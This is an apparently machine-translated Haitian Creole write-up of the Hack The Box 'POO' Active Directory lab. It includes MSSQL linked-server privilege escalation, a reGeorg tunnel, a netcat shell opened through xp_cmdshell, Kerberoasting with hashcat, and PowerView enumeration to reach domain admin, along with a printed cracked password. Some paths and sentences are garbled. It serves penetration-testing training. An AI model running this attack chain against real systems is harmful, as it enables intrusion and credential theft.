Nan atik sa a nou pral analize pasaj la nan pa sèlman yon machin, men tout yon mini-laboratwa soti nan sit la
Jan sa di nan deskripsyon an, POO fèt pou teste konpetans nan tout etap atak nan yon ti anviwònman Active Directory. Objektif la se konpwomi yon lame aksesib, ogmante privilèj, epi finalman konpwomèt tout domèn nan pandan y ap kolekte 5 drapo.
Koneksyon ak laboratwa a se atravè VPN. Li rekòmande pa konekte nan yon òdinatè travay oswa nan yon lame kote gen done enpòtan pou ou, paske ou fini sou yon rezo prive ak moun ki konnen yon bagay nan domèn sekirite enfòmasyon :)
enfòmasyon òganizasyonèl
Pou ou ka jwenn enfòmasyon sou nouvo atik, lojisyèl ak lòt enfòmasyon, mwen te kreye
Tout enfòmasyon yo bay pou rezon edikasyon sèlman. Otè dokiman sa a pa pwan okenn responsablite pou nenpòt domaj ki te koze a nenpòt moun ki konsekans sèvi ak konesans ak metòd yo jwenn kòm rezilta nan etidye dokiman sa a.
Entwodui
Final jwèt sa a konsiste de de machin, epi li gen 5 drapo.
Yo bay yon deskripsyon ak adrès lame ki disponib tou.
Ann kòmanse!
Rekon drapo
Machin sa a gen yon adrès IP 10.13.38.11, ke mwen ajoute nan /etc/hosts.
10.13.38.11 poo.htb
Premye a tout, nou tcheke pò louvri. Depi analize tout pò ak nmap pran anpil tan, mwen pral fè sa anvan lè l sèvi avèk Mascan. Nou eskane tout pò TCP ak UDP ki soti nan koòdone tun0 a nan yon vitès 500 pakè pou chak segonn.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Koulye a, pou jwenn plis enfòmasyon detaye sou sèvis ki kouri sou pò yo, se pou yo kouri yon eskanè ak opsyon -A.
nmap -A poo.htb -p80,1433
Se konsa, nou gen sèvis IIS ak MSSQL. Nan ka sa a, nou pral jwenn non reyèl dns domèn nan ak òdinatè. Sou sèvè wèb la nou ap akeyi pa paj lakay IIS la.
Ann ale nan repèrtwar yo. Mwen sèvi ak gobuster pou sa. Nan paramèt yo nou endike kantite fil 128 (-t), URL (-u), diksyonè (-w) ak ekstansyon ki enterese nou (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Sa a ban nou otantifikasyon HTTP pou anyè /admin la, ansanm ak yon dosye sèvis Desktop aksesib .DS_Store. .DS_Store yo se fichye ki estoke anviwònman koutim pou yon katab, tankou yon lis fichye, kote icon yo, ak imaj background yo chwazi a. Yon dosye konsa ka fini nan anyè sèvè entènèt devlopè entènèt la. Nan fason sa a nou jwenn enfòmasyon sou sa ki nan anyè a. Pou sa ou ka itilize
python3 dsstore_crawler.py -i http://poo.htb/
Nou jwenn sa ki nan anyè a. Bagay ki pi enteresan isit la se anyè /dev, ki soti nan ki nou ka gade sous yo ak dosye db nan de branch. Men, nou ka itilize premye 6 karaktè yo nan non dosye ak anyè si sèvis la vilnerab a IIS ShortName. Ou ka tcheke pou frajilite sa a lè l sèvi avèk
Epi nou jwenn yon dosye tèks ki kòmanse ak "poo_co". Pa konnen kisa pou m fè apre, mwen tou senpleman chwazi tout mo ki kòmanse ak "co" nan diksyonè anyè a.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Epi nou pral regle li lè l sèvi avèk wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Epi nou jwenn bon mo a! Nou gade nan dosye sa a, sove kalifikasyon yo (jije pa paramèt DBNAME, yo soti nan MSSQL).
Nou rann drapo a epi nou avanse 20%.
Huh drapo
Nou konekte ak MSSQL, mwen itilize DBeaver.
Nou pa jwenn anyen ki enteresan nan baz done sa a, ann kreye yon Editè SQL epi tcheke sa itilizatè yo genyen.
SELECT name FROM master..syslogins;
Nou gen de itilizatè. Ann tcheke privilèj nou yo.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Kidonk, pa gen okenn privilèj. Ann gade nan serveurs lye, mwen te ekri sou teknik sa a an detay
SELECT * FROM master..sysservers;
Men ki jan nou jwenn yon lòt sèvè SQL. Ann teste ekzekisyon kòmandman sou sèvè sa a lè l sèvi avèk openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Epi nou ka menm bati yon pye bwa rechèch.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Pwen an se ke lè nou fè yon demann nan yon sèvè lye, demann lan egzekite nan yon kontèks yon lòt itilizatè! Ann wè nan kontèks ki itilizatè nou ap travay sou yon sèvè lye.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Koulye a, ann wè nan ki kontèks yon demann fèt soti nan yon sèvè lye nan nou an!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Donk se kontèks DBO ki ta dwe genyen tout privilèj yo. Ann tcheke privilèj yo nan ka ta gen yon demann ki soti nan yon sèvè lye.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Kòm ou ka wè, nou gen tout privilèj yo! Ann kreye pwòp admin nou tankou sa a. Men, yo pa pèmèt li atravè openquery, ann fè li atravè EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Epi, koulye a nou konekte ak kalifikasyon yo nan nouvo itilizatè a, nou obsève baz done a nouvo drapo.
Nou remèt drapo sa a epi nou avanse.
BackTrack drapo
Ann jwenn yon kokiy lè l sèvi avèk MSSQL, mwen itilize mssqlclient soti nan pake a enpak.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Nou bezwen jwenn modpas, ak premye bagay nou te deja rankontre se yon sit entènèt. Kidonk, nou bezwen yon konfigirasyon sèvè entènèt (li pa posib pou kite yon kokiy pratik, aparamman firewall la ap kouri).
Men aksè a refize. Malgre ke nou ka li dosye a soti nan MSSQL, nou jis bezwen konnen ki lang pwogramasyon yo configuré. Ak nan anyè a MSSQL nou jwenn ke gen Python.
Lè sa a, pa gen okenn pwoblèm pou li fichye web.config la.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Avèk kalifikasyon yo jwenn, ale nan /admin epi pran drapo a.
Drapo pye
An reyalite, gen kèk enkonvenyan nan itilize yon firewall, men gade nan anviwònman rezo yo, nou remake ke IPv6 yo itilize tou!
Ann ajoute adrès sa a nan /etc/hosts.
dead:babe::1001 poo6.htb
Ann eskane lame a ankò, men w ap itilize pwotokòl IPv6 la.
Ak sèvis WinRM la disponib sou IPv6. Ann konekte ak kalifikasyon yo jwenn.
Gen yon drapo sou Desktop la, nou remèt li.
P00ned drapo
Apre fè rekonesans sou lame a lè l sèvi avèk
setspn.exe -T intranet.poo -Q */*
Ann kouri kòmandman an atravè MSSQL.
Sèvi ak metòd sa a, nou jwenn SPN itilizatè p00_hr ak p00_adm, ki vle di ke yo vilnerab a yon atak tankou Kerberoasting. Nan ti bout tan, nou ka jwenn hash modpas yo.
Premye ou bezwen jwenn yon kokiy ki estab kòm yon itilizatè MSSQL. Men, depi nou gen aksè limite, nou gen kominikasyon ak lame a sèlman atravè pò 80 ak 1433. Men, li posib pou trafik tinèl nan pò 80! Pou sa nou pral itilize
Men, lè nou eseye jwenn aksè nan li, nou jwenn yon erè 404. Sa vle di ke *.aspx fichye yo pa egzekite. Nan lòd pou dosye ki gen ekstansyon sa yo dwe egzekite, enstale ASP.NET 4.5 jan sa a.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Epi kounyeya, lè nou jwenn aksè nan tunnel.aspx, nou resevwa yon repons ke tout bagay pare pou ale.
Ann lanse pati nan kliyan nan aplikasyon an, ki pral relè trafik. Nou pral voye tout trafik soti nan pò 5432 nan sèvè a.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Epi nou itilize proxychains pou voye trafik nenpòt aplikasyon atravè proxy nou an. Ann ajoute proxy sa a nan fichye konfigirasyon /etc/proxychains.conf.
Koulye a, ann telechaje pwogram nan sou sèvè a
Koulye a, nou lanse koute a atravè MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Epi nou konekte atravè prokurasyon nou an.
proxychains rlwrap nc poo.htb 4321
Epi ann jwenn hashes yo.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Apre sa, ou bezwen repete sou hache sa yo. Piske diksyonè rockyou pa t gen modpas sa yo, mwen te itilize TOUT diksyonè modpas yo bay nan Seclists. Pou rechèch la nou itilize hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Epi nou jwenn tou de modpas, premye a nan diksyonè dutch_passwordlist.txt, ak dezyèm nan Keyboard-Combinations.txt.
Se konsa, nou gen twa itilizatè, ann ale nan kontwolè a domèn. Premye nou jwenn adrès li.
Gwo, nou jwenn adrès IP kontwolè domèn nan. Ann chèche konnen tout itilizatè yo nan domèn nan, osi byen ke kiyès nan yo se yon administratè. Pou telechaje script la pou jwenn enfòmasyon PowerView.ps1. Lè sa a, nou pral konekte lè l sèvi avèk evil-winrm, espesifye anyè a ak script la nan paramèt la -s. Apre sa, nou pral jis chaje script PowerView la.
Koulye a, nou gen aksè a tout fonksyon li yo. Itilizatè p00_adm la sanble yon itilizatè privilejye, kidonk nou pral travay nan kontèks li. Ann kreye yon objè PSCredential pou itilizatè sa a.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Koulye a, tout kòmandman Powershell kote nou presize Creds yo pral egzekite kòm p00_adm. Ann montre yon lis itilizatè yo ak atribi AdminCount la.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Se konsa, itilizatè nou an vrèman privilejye. Ann wè nan ki gwoup li ye.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Nou finalman konfime ke itilizatè a se yon administratè domèn. Sa a ba li dwa pou konekte sou kontwolè domèn nan adistans. Ann eseye konekte via WinRM lè l sèvi avèk tinèl nou an. Mwen te konfonn pa erè yo te pwodwi pa reGeorg lè w ap itilize evil-winrm.
Lè sa a, ann sèvi ak yon lòt, pi fasil,
Nou eseye konekte, epi nou nan sistèm nan.
Men pa gen drapo. Lè sa a, gade nan itilizatè a epi tcheke Desktop yo.
Nou jwenn drapo a nan mr3ks e laboratwa a fini 100%.
Se tout. Kòm yon fidbak, tanpri fè kòmantè si ou te aprann anyen nouvo nan atik sa a epi si li te itil ou.
Ou ka rantre nan nou nan
Sous: www.habr.com